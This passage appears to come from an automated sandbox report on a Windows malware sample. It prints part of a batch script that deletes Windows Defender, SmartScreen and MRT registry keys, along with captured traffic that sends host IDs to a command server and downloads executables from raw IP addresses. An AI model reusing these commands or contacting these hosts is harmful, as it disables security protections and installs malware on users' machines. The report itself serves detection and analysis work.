"%SystemRoot%\SysWOW64"copy /y "Files\Windows\Containers\WindowsDefenderApplicationGuard.wim" "%SystemRoot%\Containers\"copy /y "Files\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim" "%SystemRoot%\Containers\serviced"xcopy "Folder\Program Files\*" "%ProgramFiles%\" /E /H /K /Yxcopy "Folder\Program Files (x86)\*" "%ProgramFiles(x86)%\" /E /H /K /Yxcopy "Folder\ProgramData\*" "%ProgramData%\" /E /H /K /Yxcopy "Folder\System32\*" "%SystemRoot%\System32" /E /H /K /Yxcopy "Folder\SysWow64\*" "%SystemRoot%\SysWow64" /E /H /K /Yxcopy "Folder\Windows\*" "%SystemRoot%\" /E /H /K /Yxcopy "Folder\WinSxS\*" "%SystemRoot%\WinSxS\" /E /H /K /Yfor %%f in ("RegEdit\*.reg") do reg import "%%f"for %%f in ("ServicesDrivers\*.reg") do reg import "%%f"reg delete "HKLM\Software\Microsoft\Windows Defender\Exclusions\Paths" /freg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /freg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /freg delete "HKLM\Software\Policies\Microsoft\MRT" /freg delete "HKLM\Software\DefenderKiller" /freg delete "HKLM\Software\DK" /f) >nul 2>&1popdNSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide start "" /min cmd.exe /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /fNSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide start "" /min cmd.exe /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /fchoice /c 12 /n /m " "if "%errorlevel%"=="1" call :AddExclusionRestore:CheckUpdate)) else ( exit" (Indicator: ""xcopy ") in Source: HJz61iU.bat77:T43c,Found reference to API "PeekNamedPipe" (Indicator: "PeekNamedPipe"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "CreatePipe" (Indicator: "CreatePipe"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "CreatePipe" (Indicator: "CreatePipe"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "PeekNamedPipe" (Indicator: "PeekNamedPipe"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "CreatePipe" (Indicator: "CreatePipe"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "PeekNamedPipe" (Indicator: "PeekNamedPipe"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "CreatePipe" (Indicator: "CreatePipe"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp") Found reference to API "PeekNamedPipe" (Indicator: "PeekNamedPipe"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp")78:Tcfa,Found string "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----R62HqX83gKJvN9L2s6kYCache-Control: no-cacheContent-Length: 254------R62HqX83gKJvN9L2s6kYContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------R62HqX83gKJvN9L2s6kYContent-Disposition: form-data; name="build_id"01040afee9bada95b454ce13bda15138------R62HqX83gKJvN9L2s6kY--"; File: "PCAP") Found string "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----hryZ0T4rdat93uEeD8zVCache-Control: no-cacheContent-Length: 254------hryZ0T4rdat93uEeD8zVContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------hryZ0T4rdat93uEeD8zVContent-Disposition: form-data; name="build_id"f5bc2b3002346f7607e2f9d4b0539804------hryZ0T4rdat93uEeD8zV--"; File: "PCAP") Found string "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----vIGaCOTMokKk1bhugfrlCache-Control: no-cacheContent-Length: 254------vIGaCOTMokKk1bhugfrlContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------vIGaCOTMokKk1bhugfrlContent-Disposition: form-data; name="build_id"0d8f5230ccb32f7d73ee395923a592a4------vIGaCOTMokKk1bhugfrl--"; File: "PCAP") Found string "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----978wuumpQ2DElikWKXJRCache-Control: no-cacheContent-Length: 254------978wuumpQ2DElikWKXJRContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------978wuumpQ2DElikWKXJRContent-Disposition: form-data; name="build_id"4717eb08ba6fee201d09234c27392710------978wuumpQ2DElikWKXJR--"; File: "PCAP") Found string "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----bRWaR9VdQEudMk66BzN1Cache-Control: no-cacheContent-Length: 254------bRWaR9VdQEudMk66BzN1Content-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------bRWaR9VdQEudMk66BzN1Content-Disposition: form-data; name="build_id"988fa32381f8bff9dfd42c5e1d7a959f------bRWaR9VdQEudMk66BzN1--"; File: "PCAP") Found string "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----qd18wYWvu5pNKfpfMabnCache-Control: no-cacheContent-Length: 254------qd18wYWvu5pNKfpfMabnContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------qd18wYWvu5pNKfpfMabnContent-Disposition: form-data; name="build_id"6ed71d15e0b469694476d2435def2372------qd18wYWvu5pNKfpfMabn--"; File: "PCAP")79:T67f,Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp")7a:T892,"1.0.0.0" "94.154.35.25" "130.12.180.43" "178.16.52.65" "91.92.243.47" "2.5.29.37" "2.5.29.35" Potential IP "130.12.180.43" found in string "ttp://130.12.180.43/" Potential IP "94.154.35.25" found in string "ttp://94.154.35.25/" "4.154.35.25" Potential IP "94.154.35.25" found in string "ttp://94.154.35.25/di9ku38f/index.php" Potential IP "130.12.180.43" found in string "ttp://130.12.180.43/final/random.exe" Potential IP "94.154.35.25" found in string "http://94.154.35.25/" Potential IP "94.154.35.25" found in string "http://94.154.35.25/di9ku38f/index.php" "30.12.180.43" Potential IP "130.12.180.43" found in string "http://130.12.180.43/final/random.exe" "25.35.154.94" "43.180.12.130" Potential IP "94.154.35.25" found in string "Host: 94.154.35.25" Potential IP "130.12.180.43" found in string "http://130.12.180.43/files/unique2/random.exe" Potential IP "130.12.180.43" found in string "/130.12.180.43/files/unique2/random.exe" Potential IP "130.12.180.43" found in string "!http://130.12.180.43/files/unique2/random.exe" Potential IP "130.12.180.43" found in string "Host: 130.12.180.43" Potential IP "4.0.0.0" found in string "4.0.0.0," Potential IP "3.0.0.0" found in string "onsoleHost,3.0.0.0,," "192.168.0.2" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" "2.5.29.17" "2.5.29.14" "2.5.29.15" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.32" "2.5.29.31" "2.5.29.19" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.16" "3.0.0.0" "1.1.0.1" Potential IP "4.0.0.0" found in string "Maximum number of drives allowed in a sessionnonon=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" "2.5.29.1" "2.5.4.8" "2.5.4.7" "2.5.4.10" "2.5.4.11" "2.5.4.3" "2.5.4.6" "2.5.4.5" "2.5.29.10" "1.0.0.1" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.Commands.Management.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "4.0.0.0" found in string "rsion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"7b:T1e3d,Pattern match: "accounts.google.com/v3/signin/identifier?continue=https%3a%2f%2fwww.youtube.com%2fsignin%3faction_handle_signi" Heuristic match: "~d.td" Heuristic match: "rp.pn" Heuristic match: "$-.ro" Heuristic match: "4_0'u6.kh" Heuristic match: "dw.co" Heuristic match: "xw.at" Pattern match: "pjvw-pjww.pjrw/pjswhpjpwlpjqw" Pattern match: "wphiw.wlk/$uu:uyrrtwt;tb6'ac!^!!\ngi!rl22rwv^^n3w[0$oh" Pattern match: "mxgh.mw/h#" Pattern match: "www.nirsoft.netopenif" Pattern match: "http://schemas.microsoft.com/smi/2005/windowssettings" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0tfd/c'yrx]obb4pwashington1redmond1microsoft" Heuristic match: "drive.usercontent.google.com" Heuristic match: "telegram.me" Heuristic match: "gor.cardiffphysio.com" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Pattern match: "http://94.154.35.25/" Pattern match: "http://94.154.35.25/di9ku38f/index.php" Pattern match: "http://130.12.180.43/final/random.exe" Pattern match: "http://130.12.180.43/files/unique2/random.exe" Heuristic match: "xe;.bat;.cmd;.vbs;.vbe;.js;.jse;.ws" Pattern match: "https://www.nirsoft.net" Heuristic match: "command.com" Pattern match: "http://nircmd.nirsoft.net/%s.html" Pattern match: "http://nircmd.nirsoft.net" Pattern match: "microsoft.net/framework/v4.0.30319/" Heuristic match: "ystem.co" Heuristic match: "

http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005808.00000000.92787.03070000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005808.00000000.92787.03070000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00005808.00000000.92787.031E1000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00005808.00000000.92787.031E1000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*ln+" - Source: "00000000-00005808.00000000.92787.031E1000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czc2.5.29.12.5.4.82.5.4.72.5.4.102.5.4.112.5.4.3pkcs2.5.4.62.5.4.52.5.29.10system.data.dlllambda_methodsystem.data.dllthawte," - Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;digicert" - Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0root" - Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06dfqdemc0a0" - Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashington1redmond1microsoft" - Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=517145" - Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00005808.00000001.93079.031E1000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00005808.00000001.93079.031E1000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*ln+" - Source: "00000000-00005808.00000001.93079.031E1000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czc2.5.29.12.5.4.82.5.4.72.5.4.102.5.4.112.5.4.3pkcs2.5.4.62.5.4.52.5.29.10system.data.dlllambda_methodsystem.data.dllthawte," - Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;digicert" - Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0root" - Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt08:0q8" - Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashington1redmond1microsoft" - Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=517145" - Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mmlypca_201elq6wo/>" - Source: "00000000-00005808.00000001.93079.08BD0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_201crl0zn0l0j>http://www.microsoft.com/pki/certs/micr_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>" - Source: "00000000-00005808.00000001.93079.08BD0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00005808.00000001.93079.08BD0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005808.00000001.93079.08BD0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005808.00000001.93079.08BD0000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00005808.00000001.93079.711E1000.00000020.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007344.00000000.92085.02DA0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportindows" - Source: "00000000-00007344.00000000.92085.04D00000.00000004.mdmp") Found URL "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namead" - Source: "00000000-00007344.00000000.92085.04F00000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007344.00000001.93564.02DA0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportindows" - Source: "00000000-00007344.00000001.93564.04D00000.00000004.mdmp") Found URL "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namead" - Source: "00000000-00007344.00000001.93564.04F00000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00007344.00000001.93564.71101000.00000020.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00007344.00000001.93564.71101000.00000020.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllpconfigut-53e7e780-2330-40c6-94c6-be75e946e933software\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00007344.00000001.93564.71101000.00000020.mdmp")7d:T92e,GET /files/unique2/random.exe HTTP/1.1 GET /test/random.exe HTTP/1.1 GET /vidar/random.exe HTTP/1.1 GET /files/7453936223/5GFpJxh.exe HTTP/1.1 GET /download?id=1YBVIDkZgygNfUU2rbJXXCYdrzay5rMdY&export=download&authuser=0&confirm=t HTTP/1.1 Accept: text/html application/xml;q=0.9 application/xhtml+xml image/png image/jpeg image/gif image/x-xbitmap */*;q=0.1 Accept-Language: ru-RU ru;q=0.9 en;q=0.8 Accept-Charset: iso-8859-1 utf-8 utf-16 *;q=0.1 Accept-Encoding: deflate gzip x-gzip identity *;q=0 Host: drive.usercontent.google.com Connection: Keep-Alive Cache-Control: no-cache GET /files/8516978252/RKXRn1l.exe HTTP/1.1 GET /info HTTP/1.1 Accept: text/html application/xml;q=0.9 application/xhtml+xml image/png image/jpeg image/gif image/x-xbitmap */*;q=0.1 Accept-Language: ru-RU ru;q=0.9 en;q=0.8 Accept-Charset: iso-8859-1 utf-8 utf-16 *;q=0.1 Accept-Encoding: deflate gzip x-gzip identity *;q=0 User-Agent: 1 Host: 178.16.52.65 Connection: Keep-Alive Cache-Control: no-cache GET /files/gop/random.exe HTTP/1.1 GET /update HTTP/1.1 Accept: text/html application/xml;q=0.9 application/xhtml+xml image/png image/jpeg image/gif image/x-xbitmap */*;q=0.1 Accept-Language: ru-RU ru;q=0.9 en;q=0.8 Accept-Charset: iso-8859-1 utf-8 utf-16 *;q=0.1 Accept-Encoding: deflate gzip x-gzip identity *;q=0 User-Agent: 1 Host: 178.16.52.65 Connection: Keep-Alive Cache-Control: no-cache GET /files/mr/random.exe HTTP/1.1 GET /service HTTP/1.1 Accept: text/html application/xml;q=0.9 application/xhtml+xml image/png image/jpeg image/gif image/x-xbitmap */*;q=0.1 Accept-Language: ru-RU ru;q=0.9 en;q=0.8 Accept-Charset: iso-8859-1 utf-8 utf-16 *;q=0.1 Accept-Encoding: deflate gzip x-gzip identity *;q=0 User-Agent: C Host: 178.16.52.65 Connection: Keep-Alive Cache-Control: no-cache GET /files/6608710704/6url4X8.exe HTTP/1.1 GET /pr55ii HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 GET / HTTP/1.1 Host: gor.cardiffphysio.com Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 GET /files/6691015685/KoC0dj3.exe HTTP/1.1 7e:T55c,Found reference to API "Wow64DisableWow64FsRedirection" (Indicator: "Wow64DisableWow64FsRedirection"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "Wow64RevertWow64FsRedirection" (Indicator: "Wow64RevertWow64FsRedirection"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "Wow64DisableWow64FsRedirection" (Indicator: "Wow64DisableWow64FsRedirection"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "Wow64RevertWow64FsRedirection" (Indicator: "Wow64RevertWow64FsRedirection"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "Wow64DisableWow64FsRedirection" (Indicator: "Wow64DisableWow64FsRedirection"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "Wow64RevertWow64FsRedirection" (Indicator: "Wow64RevertWow64FsRedirection"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "Wow64DisableWow64FsRedirection" (Indicator: "Wow64DisableWow64FsRedirection"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp") Found reference to API "Wow64RevertWow64FsRedirection" (Indicator: "Wow64RevertWow64FsRedirection"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp")7f:Ta9c,Found string 